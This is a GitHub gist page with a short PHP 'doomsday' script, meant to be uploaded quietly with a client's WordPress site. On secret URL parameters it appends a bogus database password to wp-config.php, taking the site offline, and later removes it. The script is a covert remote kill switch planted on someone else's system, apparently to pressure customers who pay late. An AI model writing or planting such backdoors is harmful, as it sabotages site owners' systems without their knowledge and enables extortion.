Skip to content

Instantly share code, notes, and snippets.

@Kageetai
Created March 16, 2016 15:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Kageetai/f9aa1ed3228aedd8d439 to your computer and use it in GitHub Desktop.
Save Kageetai/f9aa1ed3228aedd8d439 to your computer and use it in GitHub Desktop.
Small doomsday file to upload with a WordPress installation, just to secure against "not so reliable customers". Just in case!
<?php
$file = "wp-config.php";
$doomsday = "\ndefine('DB_PASSWORD', '12345');\n";
if ($_GET["p"] == "sfvosovwrs4fj04uwor420hg24rv") {
// add doomsday line to disable access to DB
file_put_contents($file, $doomsday, FILE_APPEND | LOCK_EX);
echo "dommed";
} else if ($_GET["p"] == "tzj485hwrjfg24hwrjgwf") {
// load the data and delete the line from the array
$lines = file($file);
$last = sizeof($lines) - 1 ;
unset($lines[$last]);
// write the new data to the file
$fp = fopen($file, 'w');
fwrite($fp, implode('', $lines));
fclose($fp);
echo "undoomed";
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment